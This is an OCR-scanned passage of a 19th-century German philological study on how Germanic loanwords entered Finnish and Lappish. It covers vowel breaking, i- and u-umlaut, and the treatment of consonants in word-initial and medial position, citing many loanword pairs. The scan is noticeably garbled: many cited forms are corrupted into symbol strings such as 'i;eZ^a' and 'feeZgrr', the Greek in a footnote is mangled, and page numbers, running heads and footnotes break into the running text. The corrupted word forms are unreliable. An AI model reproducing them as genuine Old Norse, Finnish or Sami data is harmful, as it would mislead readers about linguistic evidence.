letztere zu sprechen scheinen , aber dieses wort ist doch kein genügen*
der beweis, da es wahrscheinlich jünger ist, als joulu in solchem
faüe sein müste , und da die sonst seltene Verbindung o v vielleicht
auch auf andere weise entstanden sein könnte , z. b. aus cm (im prset.
bauä).
60 Vocale.
schelle, hjalla; birdna, birdne, bar, Ijörn; dieldde,
seehundsfell auf dem Schlitten, tjald; dierbbe, frech,
djarfr; fiello, bret, diele, fjöl; fjervva, gestade, ßara;
girddo (das. s. 36), gierddo, gaerddo, fassreif, gjör^;
g j e >a s , Mel , kjölr ; g j e 1 1 e , gestell zum dörren der fische,
hjaUr; jetanas, riese, jötunn; mielkke, milch, mjölk
für "^mjölJc, Femer lassen sich hier anfügen f. s i ein, 1.
sisello, seele, dän.-sw. sjcel; f. tienata, dienen, sw.
tjena, in welchen ein ähnlicher lautwandel eingetreten ist.
Ausser in diesen zwei werten tritt die jüngere form der
brechung, je (und ;ö), im finnischen deutlich nur in dem
werte jätti hervor, und im lappischen, wo auch ursprüng-
liches e zu ie oder je wird, wahrscheinlich in bjsello und
in gjelle, insofern diess die durch die brechung bedingte
norw. ausspräche Jcjell für hjdl ^ voraussetzt. Von der älte-
ren form ia oder ja ist dagegen ausser im f. ja tuli keine
deutliche spur vorhanden, obgleich diese vielleicht auch
sonst durch die lautverbindung ia hätte wiedergegeben wer-
den können. ^ Alle die anderen werte müssen also entweder
aus einer Sprachgestaltung aufgenommen sein, welche die
brechung nicht kannte, oder die spuren derselben müssen
wieder verwischt worden sein. Welches von diesen beiden
der fall ist, muss in den einzelnen Wörtern, soweit eine ent-
scheidung möglich ist, nach anderen rücksichten bestimmt
werden, namentlich durch die vergleichung mit der übrigen
form des wertes. Ich will jedoch schon hier bemerken , dass
diese bei dem grösten theile der angeführten beispiele dafür
53 zu sprechen scheint, dass e urspninglich und älter als die
1) S. Aasen, Norsk Gramm. § 105. (Bei Lindahl nnd Ohrling
wird unter dem gleichbedeutenden sw.-l. luepte [s. 218] *Vester-
bottn. gäir angeführt ; hier ist g nur eine bezeichnung für j (hj) ;
vgl. Eietz s. 280.)
2) Vgl. z. b. f. tiakka, diaconus (aber teini = sw. djekne),
Dass f. paljo, viel, das doch von germanischem Ursprung zu sein
scheint, durch eine metathesis für *pjalo aus altn. fjöl für *fidlu
entstanden sein könne, wage ich nur als eine lose vermuthung auszu-
sprechen. Allzu gewagt ist es gewiss , das a für älter als die gemein-
germanische Schwächung zu (e) i anzunehmen; hierdurch wird auch
das j nicht erklärt.
Brechimg; nmlaut 61
brechung ist. Bestimmt jünger sind dagegen z. b. f. peikko,
pelti, pilu, von denen wenigstens die zwei ersten von
einer form mit je oder vielleicht selbst ja ausgehen müssen
(vgl. s. 68 note 1). Wegen der neuen bedeutung scheint
dasselbe bei f. hertta (vgl. jedoch herttainen, herzlich)
der fall sein zu müssen; diess wort ist zugleich zu einer
zeit aufgenoinmen, wo h vor j noch ausgesprochen wurde,
was jetzt nicht mehr statt findet.
•
Der i-umlaut fehlt ganz in einer grossen anzahl von
werten, in denen er sonst in den nordischen sprachen vor-
kommt, und zugleich ist, namentlich im finnischen, oft das
i oder j erhalten, welches denselben später bewirkt hat
(mehr hierüber unten), wie z. b. f. ahjo, esse (s.»das wort-
verzeichniss) ; ammatti, amt, embceUi; aljo, unzüchtiges
weib, elja(?); hartio, sohaiteT, herd-ar; kaltio, quelle,
heida; kattila, kessel, ketiU; lanne', leiiie^ lend; palje',
balg, feeZgrr; patja, Unterbett, beär; valita, wählen, i;eZ^a;
varjo, schütz, schatten, verja; tunkio, mist, dyngja;
lukita, verschliessen , lyhja; tuomita, urtheilen, dodma;
nautita, gemessen, neyta; tiuris,^ theuer, dyrr, —
Ebenso läpp, arbbit, erben, erfa; avnas, stoff, efni;
harddo, Schulter; galddo, brunnen; galddit, entman-
nen, gdda; galggo, altes weib, kerling; saddit, senden,
senda; valljit, wählen, vdja; guösse, gast, jfes^r (uö =
a s. 34); gattit, hüten, gceta; ladde, tuch, Mcedi; skar-
rek, schere, s^eeri; mukko, mist^ myJcr; bruggo, brücke,
hryggja; murkko, nebel, dunst, myrkvi; suddo, Sünde,
synd; uvja, daunen, %(?); ruonas, grün, grcenn; ruoddo,
rede,rö2(fa; suotas, süss,sä3^r; vuoppat, schreien, (»pa;
dubmit (för *duobmit, s. 33), urtheilen, dcema; avje,
heu, hey; navdaSet, gemessen; bivgge, gerste, bygg;
divras, theuer; likse, lifse, thran, lysi; rivggo,
1) Häufiger ist die form tyyris, wo yy entweder eine contraction
von iu (vgl. s. 36 mit note 2) oder eine weitere nachahmung von sw. dyr
ist. Eurens Wörterbuch führt auch die form tiyris an, die dann
eine art Übergang sein könnte. Das livische hat nur tövrös mit
diphthongen.
62 Vocale.
«
bäuerin, rygr; stivrrit, steuern, styra; divrre, thier,
#^/ garre, fass, her.^
Dagegen gibt es natürlich auch viele andere, verhältniss-
mässig jüngere entlehnungen , in welchen der i-umlaut vor-
54 banden ist. So erscheint altn. e in f. ketju, kette, sw.
Jcedja; kärry, karren, herra; mera, märä, .stute, merr;
merkki, zeichen, merM; penkki, bank, sw. hänk; läpp,
gserra, becher, leer; mserkka, zeichen; bsenkka, bank;
vserjo, waffe, verja;^ altn. » in f. lääkäri, arzt, sw.
läkare; 1. skierak, skserak, kleine schere, skceri; altn. y
in f. lykky, 1. li kk o, glück, sw. lycha^ dän. lyhke; f.
mylly, 1. millo, mühle, mylna; 1. misso, molken, mysa;
1. mirkba, mierkka, nebel, myrhvi; sw.-l. lakkula,
Schlüssel, lyhill; altn. y in f. tyyny, federbett, d^na; 1.
llto, fehler, lyti; altn. <b in f . nyöri, schnür, snoeri;
(kyökki,. küche, sw. kök); läpp, fjivridet, fjevridet,
fuhren, foera; gjevkan, küche, dän.-norw. kökken; hejv-
vit, passen, hoefa; altn. ey in f. äyri, öre (kleine münze),
eyrir; pöysti, Schinken, heystv; 1. sevdar, Verschwender,
eyäari. Im lappischen kann bisweilen eine neuere entleh*
nung älter aussehen, als sie wirklich ist, indem dort wegen
der mannigfaltigen lautübergänge ein anscheinend ursprüng-
licherer vocal für den umgelauteten eintreten kann, nament-
lich a für e , und u , o (oder i v ?) für y und f. Doch kommt
man, wenigstens im norw.-lapp., ziemlich selten wirklich
in zweifei, da der wahre Zusammenhang meistens durch
andere mittel ausgemacht werden kann. Während nw.-l.
rujto, eiserner topf, grpa, offenbar jünger ist,^ könnte
1) Der Umlaut in diesen zwei Worten ist nur norw.-isl. und scheint
durch das folgende r = got. s bewirkt zu sein. Vgl. Bugge in der
Tidskr. f. Philol. VH, s. 320.
2) Hier tritt kaum jemals im finn. i ein , wie auch das altsw. nur
e oder se, nicht i, hat; vgl. Bydqvist lY, s. 167.
3) Vgl. Dujsklan, Deutschland, dän. Tyakland. Friis Gramm.
s. 21. Auch in einigen orten in der nordschwedisehen provinz Vester-
botten (Piteä) wird urspr. ^ zu m (wi) ; s. Widmark , Bidrag tili kän-
nedoln af Vesterbottens landskapsmal s. 7. 13.
Umlaut. 68
sw.-l. gruto ynei etwas sehr altes aussehen; dass es das
aber dessenungeachtet nicht ist, ergibt sich daraus , dass ^
im altn. grpa nicht umlaut von w, sondern von iu ist (vgl.
altn. grjot). Ganz ebenso verhält es sich mit sw.-l.
omasse, verschieden, ^ altn. ^miss, das mit got. iumjö,
ox^o^, verwandt ist. ^ Ohne zweifei neu sind auch z. b.
SW.-L hagan, Umzäunung, sw. hägn; halsi, halskragen,
helsi, sw. diall. hälsä. Bei nw.-l. s tukka, stück (Priis
Sprogpr. s. 22. 37) , beweist die endung , dass die entlehnung
jünger und das u also aus y entstanden ist, und ebenso bei
skuttar, schütze (ebenda s. 82, vgL 78), das ausserdem in
andern dialekten skittar heisst, == an. siy^ari, nw.skyUar.
TJebrigens kann auch der fall eintreten, dass dasselbe wort
sowol in einer älteren als in einer jüngeren form aufgenom- 55
men ist; aber meist zeigt sich dann die Verschiedenheit auch
auf andere weise (vergl. f. laukka — lyökki, lauch,
nuora — nyöri, schnür); so habe ich im vorausgehenden
angefahrt 1. murkko und mirkka, mierkka; garre
und gaerra; skarrek und skierak. Ebenso könnte auch
wol z. b. sw.-l. varjo, en.-L varju, waffen, alt sein,
obgleich daneben sich auch das jüngere vserjo (im nw.-l.
durchgehends) findet.
Vom u-umlaut (allein oder in Verbindung mit dem
i- umlaut) findet sich durchaus keine spur im finnischen,^
und ebensowenig im lappischen in älteren lehnwörtern, wie
garves, bereit, görr; marfe, wurst, mörr; stadfo, lan-
dungsplatz, stöä; ak§o, axt, öx. Aber daneben kommen
doch unter den jüngeren entlehnungen einzelne beispiele
dieses Umlautes vor, jedoch nicht in der form ,ö (wie im
islän(Mschen), sondern o (a), welches sowol das ältere als
auch noch jetzt in der norwegischen Volkssprache das ge-
1) S. Gislason in den Aarböger for nordisk Oldkyndighed 1866,
8. 294 f.
2) F. olut, bier, kommt, wie die endung zeigt, nicht von dem
öl der nord. sprachen, sondern von lit. -lett. alus; wegen finn. o =
Iit. a vgl. f. oinas, hammel, = lit. dvinas; f. lohi, lachs, = lit.
läszis'y f. morsian, braut, = 1. imarü u. s. w.
64 Consonanten.
wohnlichste ist;^ z.b.nova, ecke, nöf^ aw. w(w; skoaddo,
regenschauer , norw. skodda, sw. diall. skadda.
B. Consonanten.
Bei den consonanten finden natürlich in folge der
armuth der finnischen sprachen an consonanten, namentlich
mutis , und ihrer abneigung gegen starken consonantenzusam-
menstoss etwas mehr abweichungen statt, als bei den voca-
len* Wegen der mehrfachen Verschiedenheiten wird es am
bequemsten sein, den stoff so einzutheilen, dass wir zuerst
den anlaut, darauf den inlaut betrachten.
Im anlaut haben die finnischen sprachen nur eine
reihe der mutä (s. 24. 39), die also in lehnworten sowol
k, t, p als g, d, b ausdrücken muss; z. b. f. kuningas,
L gonagas, könig; f. tina, 1. dadne, zinn; f. paita, \
56 1. bajdde, hemde, got. paida; f. kernas, willig, got. {
gairns; 1. garves, fertig, bereit, görr; f. taikina, 1.
dajgge, teig; f. panta, 1. badde, band. Wenn einige
dialekte des finnischen Stammes in späterer zeit die media
im anlaut bekommen haben, so konmit diess für unsere
aufgäbe eigentlich nur beim livischen zur anwendung und
selbst da nicht in lehnwörtern der älteren gruppe. * Im
nw.-lapp. kann man wol bisweilen die tenues treffen (vgl.
z. b. kjevkan. küche, Priis Sprogpr. s. 49, aber gjevkan,
ebenda s. 69; timo, stunde, ^mi,. ebenda s. 66, aber dimo,
ebenda s. 114); diess scheint indessen nur eine zufallige
eigenheit bei einzelnen personen zu sein und ähnlich verhält
es sich wol mit dem umgekehrten fall im sw. - lappischen. ^
1) Vgl. Lyngby in der Tidskr. f. Philol. H, s. 295 ff. Aasen,
Norsk Gramm. § 98.
2) AuffaUend sind Uv. daba und durbal, s. das wortverz. unter
tapa und turve'.
8) In Lindahls und Ohrlings Lex. läpp. s. XXXYIII heisst es: ^In
initio vocum semper, nisi quando derivatio a Svecana lingua aliud
exegit(!), literis durioribus p, t, k sive q usi sumus, loco b, d, g,
quod etiam magis cum pronuntiatione convenit illorum Lapponum,
quorum lingua emendatissima censetur. . .' — Bei anderen Verfassern
findet man ebenfalls oft die tenues gebraucht, wo das Wörterbuch die
media hat, z. b. bei Tornseus kuobme, gaumen, kaarde, hof,
Anlaut: muta, f, p, h. 65
Von den germanischen Spiranten fallt p mit t zusammen,
z. b. f. turska, 1. dorske, dorsch, porshr; f. tarve',
1. darbbo, bedürfniss, ^ör/"; ein Übergang in h findet viel-
leicht statt in f. huopa, filz, J5o/?. — F geht im finn.
über 1) in p, wie palle^ falte; pelto, feld; porstua,
hausflur, forstofa; 2) in h (vor uo) in huotra, scheide,
gotfödr; wahrscheinlich auch im ehstn. h ulk, schaar, fdJc;
3) in V, namentlich in jüngeren worten, wie vaara, gefahr;
vanki, gefangener; vati, fass; viila, feile; viili, rahm,
sw. fil; väri, färbe, sw. f arg. Das lappische hatbuojdde,
fett, und nach dem finn. bselddo, feld; sonst pflegt es das
f unverändert beizubehalten, z. b. fa gg e , ringkampf, fang;
farro, Wanderung, för; fatme, fa|)me, Umarmung,
fadmr; fiello, diele, fjöl; fjervva, gestade, fjara. Ueber
f für urspr. h oder v s. unten.
H bleibt im finn, und läpp, gewöhnlich unverändert,
z. b. f. hartio, 1. harddo, schulter, herd-ar; f. hurs-
kas, hurskes, gerecht, Jwrskr; f. hertta, herz (in den 57
karten, s. 61). In einigen finnischen dialekten kann es
wieder fortgeworfen werden (s. 25); ebenso oft im lappi-
schen, z. b. ajbmo, luft, weit, heimr; ajlegas, heilig;
appe, meer, haf; avje, heu; hilddo, ilddo, brett, schrank,
dän.-norw. %?de; vuoppat, rückwärts rudern, hopa; sw.-L
vuordne, hörn; aber umgekehrt wird es bisweilen auch
da hinzugefügt, wo es nicht hingehört, z. b. ajka, hajka,
eiche; urtas, hurtas, kraut, urt. Vor uo kann h im
läpp, zu f werden, z. b. fuorra, hure, höra. — In einigen
einzelnen Wörtern scheint es (vor a ?) zu k zu werden : f. k a 1 -
lio, 1. galle, klippe, hallr, hella; f. kalta, kallas,
schräg, abhängig, hallr; f. kana, huhn, vgl. hani; f.
kansa, volk, 1. ga??e, gesellschaft, gothansa; f. kakra,
kaura, hafer; f. kapris, kauris (aber sw.*l. habres),
bock, hafr; f. karvas, bitter, mhd. harwer(?). So anspre-
chend es auch wäre , scheint es mir doch immer zu gewagt,
diese formen für älter als die lautverschiebung zu halten.
garä/r y kruanas, grün, paddi, band, praddi, brand, tinres,
theuer, u. s. w.
Thomsen, Einfluss d. gertn. sprachen. • 5
66 Consonanten.
Vergleicht man die behandlung des f , die ganz deutliche bei-
spiele eines Übergangs von der spirans in die tennis bietet (z. b.
porstua), so wii-d es viel wahrscheinlicher, die erklärung darin
zu suchen , dass h noch wie x ^^^ f vielleicht als reiner lip-
pen- oder .blaselaut gesprochen worden ist (nicht wie jetzt
durch andrucken der Unterlippe an die oberzähne, ein laut,
der im finnischen mit v wiedergegeben wird.) ^
Was die übrigen einfachen consonanten angeht, so ist
ein ursprüngliches j bewahrt in f. und 1. ja, und, got. jak;
f. jo, 1. juo, schon, got. jw; f. jukko, zugriemen am
Schlitten, got juk, altn. ok, und vielleicht in f. juusto,
käse, ostr^ (sowie in joulu, wenn man annehmen darf,
dass ou ursprünglichem iu entspreche; s. 59,notel). —
58 Ob man ein ursprüngliches t vor o und u voraussetzen kann,
wo es im altn. fortgefallen ist, ist schwieriger aus den for-
men im finn. und läpp, allein zu entscheiden, da v hier vor
1) Vgl. Scherer, Zur gesch. d. d. spr. s. 68 f., 81, 83.
2) Betreffs der etymologie dieses wertes kann vielleicht die finn.
form auf die spur leiten. Ausserhalb der nordischen sprachen kommt
das wort nur im fries. (auf Sült) als ast yor, welches ohne zweifei,
wie so viele andere worte in diesem dialekt , aus dem dän. ost entlehnt
ist und also ausser acht gelassen werden kann. Da nun das finn. nie
ein j vorzuschlagen pflegt, während das nord. es im anlaut immer
abwirft, so liegt die annähme nahe, dass das wort got. * just -8 gelau-
tet haben würde, und diess scheint sich wiederum natürlich an skr.
jüsa-m, -s, \Q,t. jus, sAtal. jucha, suppe, lit. jusze, eine schlechte
suppe von Sauerteig mit wasser angerührt, gr. ^<ofi6g , suppe, ^v(iri,
Sauerteig, auch wol l^vd-og, CvS^og (6, to), hier, von y ju, oder viel-
leicht richtiger Jus , rühren, mischen, anzuschliessen (s. Curtius, Grdz.
d. gl*. Etym. 2, s. 552 f.); vgl. z. b. umgekehrt das von rvQog abgelei-
tete TVQOü) {tvq^(j})j welches auch diese aUgemeinere bedeutung haben
kann. In dem t des ableitungssuffixes kann man vielleicht eine par-
ticipialbildung sehen. (Sollte vielleicht das ^9^ in l^vd^og auch für gt,
a^ stehen, wie in xqix^ti für *%QioTi]y *%Qcax^ri == deutsch gerste?
S. Schleicher, Compend. d. vgl. gramm. % § 148, 1, d, s. 232; § 153,
s. 247; vgl. Kuhn in der Ztschr. f. vgl. sprachf. XI, s. 385 ff.). Die
länge des vocals im finn. ist schwerlich ursprünglich (s. 53), ebenso-
wenig wie in nyl. öst und ehst.-sw. üst (vgl. das.). Juusto von
f. juosta, 1. pers. juoksen, currere, auch coagulari, (vgl. sw. löpa
und löpnä) abzuleiten, ist ganz unmöglich, wie Ahlqvist in der ztschr.
Suomi, 2*« reihe, VI, s. 78 hinlänglich bewiesen hat.
Anlaut: j, v; consonantenverbindimgen. 67
•
uo stets vorgeschlagen werden muss (z.b. f. Vuohi, geiss, =
lit. oe^s; 1. vuoksa, ochse; vuosta, käse, ostr), dagegen
vor u^ und gewöhnlich auch vor o vermieden wird. Doch
ist gewiss f. vuokra, voura, zins, rente, unmittelbar mit
got vökrs, zonog, zusammenzustellen; jedesfalls würde altn.
okr, sw. ocker, wucher, eine ganz andere form und auch
wol andere bedeutung gegeben haben. Auch inl. vuoppat,
schreien, cepa, got. vöj>jan, scheint das v ursprünglich zu
sein. Umgekehrt ist es auch möglich , dass der fortfall des-
selben in 1. uddo, wunde, und; ullo, wolle, tUl; uskit,^
wünschen, ceskja, und vielleicht auch inurtas, kraut, urt,
erst im lappischen eingetreten ist. Bisweilen kann v hier,
entweder durchgehends oder nur dialektisch, in f übergehen,
z. b. vakta (Friis Sprogpr. s. 96, 97), fakta (das. s. 93),
Wächter; vasta (das. s. 45), fsesta (das. s. 70), west;
fsesko, tasche, veskja; vidno und fidno, geschäft, vinna.
Dem gesetz, dass kein wort im finnischen mit mehr
als einem consonanten beginnen kann (vgl. s. 25 mit note 2)
müssen auch fremde Wörter sich nothwendig unterwerfen;
ausnahmen können nur bei neueren entlehnungen in den am
stärksten gemischten dialekten vorkonmien. Gewöhnlich
geht die spräche den weg, dass sie nur einen der anlauten-
den consonanten behält, wie es scheint, immer den letzten.^
Man begreift leicht, in wie hohem grade das aussehen der 59
Wörter sich dadurch verändern und wie oft in folge davon
zweifei entstehen kann. Beispiele sind: riutta, riflf, grjöt;
vasta, besen, sw. qvast; ruhtina, fürst, droUmn;
ruokkeet, hosen, brcekr; lattia, fussboden, flet; lanta.
1) So scheint 1. ucce, klein, = f. vähä zu sein.
2) Entweder för *vunskit oder für *viioskit (s. 33).
3) Ich kenne kein ganz sicheres beispiel für die beibehaltung nur
des ersten cons. ; denn ob f. suuri, gross, (s. das wortverz. unter
stuores) aus dem nord. storr entlehnt ist, scheint mir sehr zweifel-
haft zu sein. F. sauva, stab, hängt gar nicht mit dem gennanischen
wort (altn. stafr) zusanunen; vgl. syrj. zib, ostj. seu, sava, sova.
Eine Umstellung scheint stattgefunden zu haben in perjantai, frei-
tag (wo jedoch das e auch eingeschoben sein könnte), vahto, schäum,
got. hvapöy und vielleicht in pilkka, flecken, fleJchr, und einigen
wenigen anderen Wörtern.
5*
68 Gonsonanten.
innger, hland; valas, walfisch, hvalr; kaunis, schön,
got. skauns; kakkula, zugstrang^ skökull; tupa, stube;
tuoli, stuhl; paanu, schindel, spann; panka, schnalle,
spöng; nuora, schnür; reppu, ranzen, skreppa; ranta,
Strand; riita, streit. Bisweilen wird vi besonders nach h
und k in den diphthong u i verwandelt , z. b. huivi, (köpf-)
tuch, Ävi/*; huilata, ruhen, &w,hvila; kuiskata, flüstern,
sw. hviska (vgl. kmi^'r s. 53); kuisti, flurvorbau, sw. qvist;
kuitata, quittieren, sw. qviUa,^ Ebenso wird mitunter
auch wol j zu i ; vgl. s. 59 AT.
Im lappischen gilt ursprünglich dasselbe gesetz, aber
es wird lange nicht so streng beobachtet, wie im finnischen,
namentlich nicht in den südlicheren dialekten. So wird s
fast überall vor einem andern consonanten beibehalten , wo-
für sich hinlängliche beispiele im wortverzeichniss finden.
Die lautgruppe sv verwandelt das nw.-lapp. insp, während
das sw.-lapp. sie unverändert beizubehalten scheint; z. b.
spidne, sw.-l. svine, schwein; spalfo, sw.-l. svalfo,
' schwalbe. Die übrigen consonanten scheinen immer vor n
und V ausgelassen zu werden (welche^ letztere dann in f
überzugehen pflegt), z. b. nibbe, sw.-l. nipe, messer, Am/V;
nivsak, feuerschwamm, hnjoskr, fnj6skr\ fiaerrol, koch-
löflfel, vgl. nw. toerel; fadno, angelica, hvönn; fales,
walfisch, hvalr; aber gujggo, junge kuh, kviga, vgl. oben.
Die mutä und f scheinen im sw.-l., den Wörterbüchern
nach zu schliessen , meist vor l und^r geduldet zu werden,
während das nw.-lapp. sie in einzelnen Wörtern behält, in
anderen auslässt, mit einigen Schwankungen in den verschie-
denen dialekten und bei den verschiedenen personen, z. b.
nw.- und sw.-l. latte, fiissboden; nw.-l. luokkar, sw.-l.
60klokkar, küster (s. 50) ; nw.-l. glässa (Priis s. 77), lässa
(das. s. 18, 28, 40), SW.-L glas, glas, fenster; fiasko und
lasko, flasche; nw.-l. ruonas, sw.-l. gruonas, grün;
nw.-l. radde, sw.-l. bradde, radde, brand; nw.-l.
brievdno, Stecknadel, prjonn; truolla (Priis s. 41),
1) Sw. svarfva wird sowol zu v arvata als zu sorvata, sw.
hvalf zvL holvi umgestaltet; vgl. Rydqvist IV, s. 66.
Anlaut: consonantenyerbindnngen ; schwedisches k, g, sk. 69
ru oll a (das. s. 97), kobold^ troU; drauga (das. s. 89),
rauga (das. s. 20, 91), gespenst, draugr,^
Ich füge noch hinzu, dass sich nirgends im finnischen
oder lappischen * eine spur der schwedischen (und norwegi-
schen) ausspräche . von h als 6, g als j und sh als i vor den
weichen vocalen findet; ja selbst das wotische (vgL s. 25)
hat geradezu reines k in den neueren , aus dem schwedischen
aufgenommenen Wörtern, z. b. f. kyökki, wot. kökki,
kuche, sw. Aöt; f. und wot. keppi, ehst. kepp, stock,
sw. häpp\ f. kelmi, (wot. S kelmi, vielleicht deutsch),
schelm, sw. sM/m; f. kinkku, schinken, sw. «ÄiwÄa u. m. a.
Da hingegen in werten von russischem Ursprung q <5, m ^(>k i)
regelmässig durch s , h u. dergl. wiedergegeben wird , ist es
klar , dass jene entlehnungen aus einer . Sprachgestaltung
stammen müssen, welche die gewiss auch sehr junge 'weiche'
ausspräche nicht kannte ^ und dass sie im wotischen zugleich
jünger sein müssen, als die erweichung von k in ächten
Wörtern (älter ist dagegen z. b. wot. ßellä, f. kello, glocke,
skdla). Auch in den dialekte'n, welche deutschen einfluss
erfahren haben , wird seh (d. h. plattdeutsch s + ch) wie sk
behandelt, z. b. ehst. k arid, liv. Sk er öd, scheere; ehst.
kel'm, liv. Skel'm, schelm; ehst., liv. kün, scheune, plattd.
schüne; vgl. lett. schweres, schJcelmis, schTc^is.^
1) Vor 1 wird k bisweilen zu s, d, wie in slnbbo, keule, klubba,
2) Bei Lindahl n. Öhrling (s. 673) findet sich jedoch geschrieben
sjärt, hemde, sw. sfcjor^a (auch wädtja, wand, veggr,Ygl.ysdgB. bei
Priis s. 103).
3) Die harte ausspräche ist noch jetzt in verschiedenen schwedi-
schen mundarten, z. b. in Ehstland und dem mittelsten theile von
Nyland I erhalten; im westlichen und östlichen ist dagegen die weiche
ausspräche die herrschende, zum theil jedoch so, dass g zu djy sJczu stj
wird, gewöhnlich auch im inlaut. Vgl. fernerhin C. Säve in der
Tidskrift för litteratur, 1852 (Upsala), s. 285 f.; desselben: De starka
yerbema i Dalskan och Gotländskan (das. 1854), s. 11.
4) S. Bielenstein, Die lettische Stäche (Berlin 1863) I, s. 472.
(Da ich ab und zu im folgenden auf das lettische zurückkommen werde,
so bemerke ich, dass ich von Bielensteins rechtschreibung nurin der
bezeichnung der weichen (d. h. mouillierten) consonanten , durch ' anstatt
durch einen strich durch den buchstaben, abweiche; seh ist = 8; f=e^
70 Consonanten.
61 Im Inlaut müssen die finnischeii sprachen ohne zweifei
ursprünglich sowol die tenu e s als die media gehabt haben,
und der unterschied zwischen diesen beiden reihen ist auch
in den lehnworten vollständig durchgeführt , selbst wenn die
grundlaute jetzt sehr oft nicht direct in ihrer ursprünglichen
gestalt zum Vorschein kommen. Um diese grundlaute wie-
derzuerkennen, ist es von gröster Wichtigkeit, sich an die
in der einleitung (s. 26 ff., 41 ff.) besprochenen gesetze der
consonantenverstärkung und -Schwächung zu erinnern. Im
finnischen wirken diese in den entlehnten worten in der
weise, dass im anfang einer ursprünglich offenen silbe die
tenues . verdoppelt werden , und die media in die tenues über-
gehen ; in einer geschlossenen silbe erhalten sie sich dagegen
unverändert, jedoch so, dass die media durch eine spätere
bewegung weiterhin geschwächt werden. Die ursprünglich
geminierten mutä werden wie die einfachen behandelt. Im
lappischen ist auch die schwache form ursprünglicher; die
media erhalten sich hier besser, aber rücksichtlich der Ver-
stärkung herrscht eine weit grössere mannigfaltigkeit als im
finnischen. Ursprüngliche gemination wird in der regel
unverändert beibehalten.^ Beispiele sind:
Urspr. k: finn. kakko, gen. kakon, kuchen, haha\
laukka, gen. laukan, lauch, laukr; merkki, gen. mer-
kin, zeichen, merki\ kinkku, gen. kinkun, schinken,
sw. sMnka; merkitä' (s. 26 unten), 1. pers. merkitsen,
bemerken; kakkula, zugstrang, sJcökull; lykky, gen.
lykyn, glück, sw. lycka; — läpp, gakko, gen. gako,
kuchen; llkot, 1. pers. llkom, gefallen, KÄ;a; lavkke,
gen. lavke, lauch; maerkka, gen. mserka, zeichen;
mielkke, gen. mielke, milch; likko, gen. ebenso,
glück.
Urspr. t: finn. mitta, gen. mitan, mass, met;
nuotta, gen. nuotaai, netz, not; vanttu, gen. vantun,
handschuh, dän. varde; nautita', 1. pers. nautitsen,
gemessen, neyta; kattila, kessel, Jcetill; hattu, gen.
1) Ueber die behandlungsweise der mutä vor andern consonanten
s. das folgende.
Inlaut: muta.
71
hatun, hut, höUr; — lapp. nuötte, gen. nuöte, netz
ruotas, gen. ruottas, wurzel, rot; lito, gen. ebenso
fehler, if^^i; saitte, gen. salte, salz, 5«?^; gattit, l.pers
gattim, hüten, gceta; gatto, gen. gato, katze, 2^^r.
Urspr. p: finn. kauppa, gen. kaupan, handel, kauj)
raippa, gen- raipan, seil, reip; lamppu, gen. lampun
lampe; kaupunki, gen. kaupungin, stadt, kaupangr
reppu, gen. repun, ranzen, sJcreppa; — lapp. gavppe
gen. gavpe, handel; rajppe, gen. rajpe, seil; vuolppo
gen. vuolpo, weiberrock, ölpa; vielpes, gen. vielppa
junger hund, At;e?^r ; lamppu, gen. lampa, lampe; lieppe
gen. ebenso, keule mit eisernem haken, nw. klepp.
Urspr. g: finn. laki, gen. laMn, gesetz, sw. lag
haka, gen. ha^an, eingehegtes feld, hagi; tauko, gen
tauvon, tau, taug; arka, gen. arai\, feig, argr; paljeV
pale^ gen. palkeen, balg; rengas, gen. renkaan
ring; murkina, frühstück, morghm; yaku, gen. va^un
wiege, vagga; — lapp. lakka, gen. laga, gesetz; sakka
gen. saga, nachricht, saga; mäkka, gen. mäga, Schwa-
ger, nidgr; lavggo, gen. lavgo, bad, latcg; argge, gen
arge, feig; gujggo, gen. gujgo, junge kuh, kviga
gagga, gen. ebenso, kleines fass, nw. Jcaggje.
Urspr. d: f. tade', gen. tateen, mist, tad; paita
gen. paidan, hemde, got. paida; rauta, gen. raudan
eisen, raudi; valta, gen. vallan, macht, vald; vartoa
l.pers. varron, bewachen, erwarten, varda; panta, gen
pannan, band, band; satula, sattel, södtdl; ota, geh
odan, spitz, oddr{?); — lapp. vides, comparativ vidda-
sabbo, weit; bajdde, gen. bajde, hemde; ruövdde
gen. ruövde, eisen; bordde, gen. borde, tisch, hord
radde, gen. rade, rath; skoaddo, regenschauer, gen
ebenso, nw. shodda.
Urspr. b: f. lupa, gen. luvan, erlaubniss, hf, got
Hub; tupa, gen. tuvan, stube; leipä, gen. leivän
brod, Ueifr, got. hlaib acc; tarve^ gen. tarpeen, be-
dürfniss, pörf, got. parba; lammas, gen. lampaan
schaf, lamb; kampa, gen. kamman, kamm^ Jcawhr
62
72 Consonanten.
. (t)ruinpu, gen. -mmun, trommel, truniba;^ havukka,
gen. havukan, habicht, haukr, got. *habuks; (k)rapu,
gen. -vun, krebs, sw. kr ahba; lupu, gen. luvun, keule,
flegel, Mubba; — lapp. loppe, gen. lobe, love, erlaub-
63 niss; stoppo, gen. stovo, stube; rappot, l.pers. rabom,
ravom, graben; nlbbe, gen. nlbe, messer, knifr; lajbbe,
gen. lajbe, brod; arbbe, gen. arbe, erbschaft, vgl. got.
arU; galbbe, gen. galbe, kalb; Slubbo, gen. ebenso,
keule.
Dass wirklich in den zuletzt angeführten fällen b und
nicht das jüngere v überall zu gründe liegt, ersieht man
deutlich aus den starken formen im finnischen, besonders in
vergleichung mit dem verhalten des ursprünglichen v (s.
unten) und noch mehr aus den formen im lappischen und
wepsischen, welches letztere z. b. sogar habuk aufweist,
obwol die schwache 'form in diesem werte in der ganzen
flexion beibehalten werden muss (s. 26 unten). ^
Nach einem unbetonten vocal wird im finn. ein ein-
faches g, d {b) fortgeworfen oder in j (v) verwandelt; z. b.
autuas, selig, aM&^jfr; herttua, herzog, hertogi; hunaja,
honig, altsw. hunagh; -tai (für *-taki, in Zusammen-
setzungen), -tag; autio, wüste, got. aupida; ebenso Ve-
nät, Venäjä, Venää, Russland, vgl. Vindir, ags. Veo-
nodas. Im lapp. erhalten sie sich besser, z. b. audogas,
selig, ajlegas, heilig.
Ausnahmen von den hier aufgestellten regeln far die
behandlung der mutä gibt es verhältnissmässig wenige, und
dieselben müssen immer einigen zweifei an der zulässigkeit
einer vergleichung erregen, wenn nicht andere gründe ganz
entscheidend sind. Meistens bestehen sie darin, dass die
tenues ebenso wie die media behandelt werden , d. h. dass
eine Schwächung zu anfang einer geschlossenen silbe statt
1) Nach m f wo ja sonst in den jüngeren sprachformen eine assi-
milation stattgefunden hat, haben übrigens noch jetzt die finnisch -
und ehstnisch- schwedischen dialekte das b bewahrt, z. b. lämb, Tcämb,
